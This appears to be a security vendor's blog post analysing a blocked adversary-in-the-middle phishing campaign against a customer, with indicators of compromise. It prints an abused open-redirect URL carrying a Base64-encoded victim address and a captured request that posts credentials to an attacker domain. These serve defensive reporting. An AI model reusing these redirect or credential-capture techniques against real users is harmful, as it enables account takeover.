AiTM Non-Incident Report
Recently one of our customers let us know that our AiTM feed had blocked what would otherwise have been a successful AiTM attack. The attack tricked a user into authenticating with active Adversary in The Middle infrastructure.
This incident utilised a number of techniques which have been pretty prolific in recent months, which makes it worthy of a blog post. We're showing you real data here, so please forgive the excessive redaction, but we'd much rather show you the details as they appear for real
The Detection/Block
The incident was first detected when a failed login attempt occurred for a user. This was not a failed login attempt because of incorrect credentials, but a failed login attempt because authentication had been prevented due to a conditional access policy block:
Specifically the authentication failure came from the IP:
144.172.105.29
And the failure was the result of it being blocked by the conditional access policy named “[Lab539] Block known AiTM in…”. Which was populated from our AiTM feed.
Conditional access polices within Azure are Microsoft’s way of allowing organisations to control access to their environment. This customer utilises our AiTM feed which, in real time, updates their conditional access policies with details of known AiTM infrastructure. So it had done its job nicely. Credentials were changed, active sessions were reset as a precaution and a deeper investigation was carried out.
The Investigation
The investigation traced this back to an email. For the sake of this post we’ve redacted certain information and replaced the real company name with “Example539”. The email received had the following subject line:
Example539 Disbursement/Payroll Team shared a document with you on 2025-06-03 REF: DOCS#123456.
Several of these emails, all with identical subject lines, but differing numerical IDs at the end were seen having been delivered to several users within the organisation. Emails relating to payroll are a very common theme in the campaigns that we see and we know that they tend to have a greater than average click through rate.
The email sender was:
info.desk@delesgroup.co
Whois record, at the time, for this domain below:
Domain Name: delesgroup.co Registry Domain ID: REDACTED FOR PRIVACY Registrar WHOIS Server: whois.namesilo.com Registrar URL: www.namesilo.com Updated Date: 2025-06-02T10:03:03Z Creation Date: 2025-01-29T12:39:42Z Registry Expiry Date: 2026-01-29T12:39:42Z Registrar: NameSilo, LLC Name Server: dawn.ns.cloudflare.com Name Server: clint.ns.cloudflare.com
When we parse our AiTM dataset the majority of AiTM infrastructure uses Cloudflare nameservers and, whilst not the worst offender, when it comes to adversaries registering domains NameSilo definitely does seem to be one of the preferred registrars. We absolutely put this down to the fact that they accept Bitcoin payments.
Contained within these emails were links to the website “https://www.acciaio-italy[.]com”, which as far as we could tell was/is a perfectly legitimate website selling leather goods (we often see legitimate sites like this being used as collateral in redirect chains to add some level of authenticity to things. We do also see fictitious sites created to look legitimate used too):
However, unfortunately, this website suffers from a redirect issue allowing for it to be used in order to direct users to other sites. In this case we saw URLs such as the following:
www.acciaio-italy[.]com/index.php?route=common%2Fmobile_language%2Flanguage&code=en-gb&redirect=https://084d396f8e5e2baa35a11e3bfd38e8dc.calcola-iva[.]it/Vwertushskdmxco/Jjadhsdsifbf/REo8bM/ZXhhbXBsZUBleGFtcGxlNTM5LmNvbQ==
The redirect component being:
https://084d396f8e5e2baa35a11e3bfd38e8dc.calcola-iva[.]it/Vwertushskdmxco/Jjadhsdsifbf/REo8bM/ZXhhbXBsZUBleGFtcGxlNTM5LmNvbQ==
Of particular note is the “ZXhhbXBsZUBleGFtcGxlNTM5LmNvbQ==” component in the URL which is the target victims email address Base64 encoded.
Without the email component accessing the URL results in a redirect, via JavaScript, to Wikipedia:
HTTP/2 200 OK
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Type: text/html;charset=UTF-8
Content-Length: 166
Vary: Accept-Encoding
Date: Fri, 06 Jun 2025 16:11:22 GMT
Server: LiteSpeed
<!DOCTYPE html>
<html>
<head>
<script src="./site.js"></script>
<script>window.location.replace("https://www.wikipedia.org/wiki/Microsoft_Office");</script>At the time the calcola-iva.it domain resolved to the following IP address:
Name: 084d396f8e5e2baa35a11e3bfd38e8dc.calcola-iva.it Address: 89.187.86.8
Following the calcola-iva link takes us on what is the first step of the redirect chain which has become all too common in AiTM attacks. This first step presents us with slightly broken reCAPTCHA challenge:
On completing this CAPTCHA we end up at a second CAPTCHA, this time Cloudflare Turnstile presented via a workers.dev instance:
This type of chain of events is very common. Cloudflare Turnstile is an extremely prevelant part of most AiTM infrastructure we see today. Workers.dev takes a backseat to its sibling pages.dev, but both provide platforms that are widely used by adversaries in their attacks.
As a point of reference, since this incident we trialled blocking all access to pages.dev and workers.dev within the organisation, initially in a “report only” mode. But with no reports across a few weeks, that reverted to a “block”. Whilst your mileage may vary, and each organisation will have different usage patterns we were surprised to find that the only recorded access to pages.dev or workers.dev within this organisation was access during AiTM attacks!
And once the Cloudflare Turnstile CAPTCHA is passed we end up with a very familiar looking login page, except this is not hosted by Microsoft, it is instead hosted by Cloudflare:
54961407.f52920e8a861312d313e8961.workers.dev
If a user authenticates this results in a POST request being made to some back-end infrastructure which performs the authentication. The POST request which triggers this is as follows:
POST /common/login HTTP/1.1 Host: dvvatts.com i13=0&login=example%40example539.com&loginfmt=example%40example539.com&type=11&LoginOptions=3&lrt=&lrtPartition=&hisRegion=&hisScaleUnit=&passwd=PASSWORD&ps=2&psRNGCDefaultType=&psRNGCEntropy=&psRNGCSLK=&canary=STRIPPED&ctx=STRIPPED&hpgrequestid=STRIPPED&PPSX=&NewUser=1&FoundMSAs=&fspost=0&i21=0&CookieDisclosure=0&IsFidoSupported=1&isSignupPost=0&i19=46292
We’ve stripped the contents of some parameters, not because they are sensitive, but for the sake of readability (they were long random values). Of particular interest is the passing of credentials in the POSTrequest.
dvvatts[.]com was not the only domain to which credentials were sent, in this campaign we saw the workers.dev instance pass data to the following domains:
dvvatts.com fzminze.com temple-lnc.com
All of which resolved to the IP 144.172.105[.]29 where the initial login attempt came from.
Searching through our dataset we also see a few other domains associated with this IP address too:
[
{
"hostname": "dvvatts.com",
"timestamp": 1748978288,
"detected": 1748978288,
"confidence": "high"
},
{
"hostname": "eur-cushwake.com",
"timestamp": 1748978305,
"detected": 1748416170,
"confidence": "high"
},
{
"hostname": "temple-lnc.com",
"timestamp": 1749107629,
"detected": 1749107629,
"confidence": "medium"
},
{
"hostname": "fzminze.com",
"timestamp": 1749130919,
"detected": 1749113825,
"confidence": "medium"
},
{
"hostname": "bakic.co",
"timestamp": 1750775633,
"detected": 1750775633,
"confidence": "medium"
}
]
Also of interest, looking at some of these domains, they are domains that we have detected on different infrastructure and at different times:
This incident took place in early June. However we observed the eur-cushwake[.]com domain’s involvement in AiTM first on the 28th May on the IP address 144.172.105[.]29. Between this incident and us writing this blog post we’ve observed that domain being utilised on other AiTM infrastructure this time the IP 144.172.107[.]37:
{
"hostname": "eur-cushwake.com",
"ip": "144.172.107.37",
"timestamp": 1751483665,
"detected": 1750811381,
"confidence": "medium"
}
We see another domain associated with that IP address too, one that is familiar because this is the domain from which emails were first sent:
{
"hostname": "delesgroup.co",
"timestamp": 1751316936,
"detected": 1750775013,
"confidence": "medium"
}
So we are seeing this backend infrastructure pivoting and used to stage future attacks, but what is also interesting is that this incident is not the first time this infrastructure/adversary has been observed. Our datasets show that the fzminze[.]com domain has been used in past campaigns going back to mid February 2025:
| date | hostname | IP |
|---|---|---|
| 2025-02-12 | accounr.fzminze.com | 107.173.160.187 |
| 2025-02-12 | account.fzminze.com | 107.173.160.187 |
| 2025-02-12 | adfs.fzminze.com | 107.173.160.187 |
| 2025-02-12 | advath.fzminze.com | 107.173.160.187 |
| 2025-02-12 | apm.vpce.gdw55e.fzminze.com | 107.173.160.187 |
| 2025-02-12 | dotfoods.fzminze.com | 107.173.160.187 |
| 2025-02-12 | dsxcwa.fzminze.com | 107.173.160.187 |
| 2025-02-12 | fzminze.com | 107.173.160.187 |
| 2025-02-12 | gui.fzminze.com | 107.173.160.187 |
| 2025-02-12 | id.fzminze.com | 107.173.160.187 |
| 2025-02-12 | login.fzminze.com | 107.173.160.187 |
| 2025-02-12 | msfed.fzminze.com | 107.173.160.187 |
| 2025-02-12 | o365.fzminze.com | 107.173.160.187 |
| 2025-02-12 | o.fzminze.com | 107.173.160.187 |
| 2025-02-12 | ok.fzminze.com | 107.173.160.187 |
| 2025-02-12 | okta.fzminze.com | 107.173.160.187 |
| 2025-02-12 | outlook.fzminze.com | 107.173.160.187 |
| 2025-02-12 | portal.fzminze.com | 107.173.160.187 |
| 2025-02-12 | reporting.fzminze.com | 107.173.160.187 |
| 2025-02-12 | sci.fzminze.com | 107.173.160.187 |
| 2025-02-12 | ssl.fzminze.com | 107.173.160.187 |
| 2025-02-12 | ulgroup.fzminze.com | 107.173.160.187 |
| 2025-06-05 | fzminze.com | 144.172.105.29 |
| 2025-07-04 | fzminze.com | 144.172.89.38 |
Reflection
Re-use of infrastructure is something we see increasingly (and surprisingly) frequently. This is often driven by poor detection rates by more traditional security tooling and by the major vendors. Investigating this (non)incident we see the fzminze domain resurfacing nearly 4 months later and at the point of writing this post (2025-07-10) it’s still not something observed by others as malicious:
If we contrast the zero detection rate of the backend infrastructure with the fractionally better (kudos alphaMountain.ai, Sophos, Trustwave) detection of the domain used for the phishing it does highlight a disparity in preventing these types of attack.
Obviously MFA is the obvious solution here, but unfortunately that is not viable for all organisations. Whilst passkeys are becoming more viable, for organisations who worked hard to get Microsoft Authenticator rolled out, learning that they need to go on that journey again but with a technology that is actually fit for purpose may not be quite as trivial as we’d like to think.
We’ve said it before, but we’ll say it again: AiTM should never have been a thing… yet here we are.
Indicators Of Attack/Compromise
Domains
dvvatts.com fzminze.com bakic.co eur-cushwake.com temple-lnc.com delesgroup.co calcola-iva.it
IP Addresses
107.173.160.187 144.172.105.29 144.172.89.38
User Agent Strings
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.7103.48 Safari/537.36
A Note About Lab539
At Lab539 we actively hunt down adversarial infrastructure before it is used, rather than waiting for victims. We share our intel with our subscribers in real time via an API, named location service, and a Microsoft Defender feed. Protecting customers from both “frontend” and “backend” infrastructure, i.e. we prevent users from visiting the frontend (phishing site) and block authentication from the backend infrastructure that proxies the authentication.
If you are not a subscriber you can register for a free trial here: https://www.aitm-feed.com/subscribe (available to registered companies only)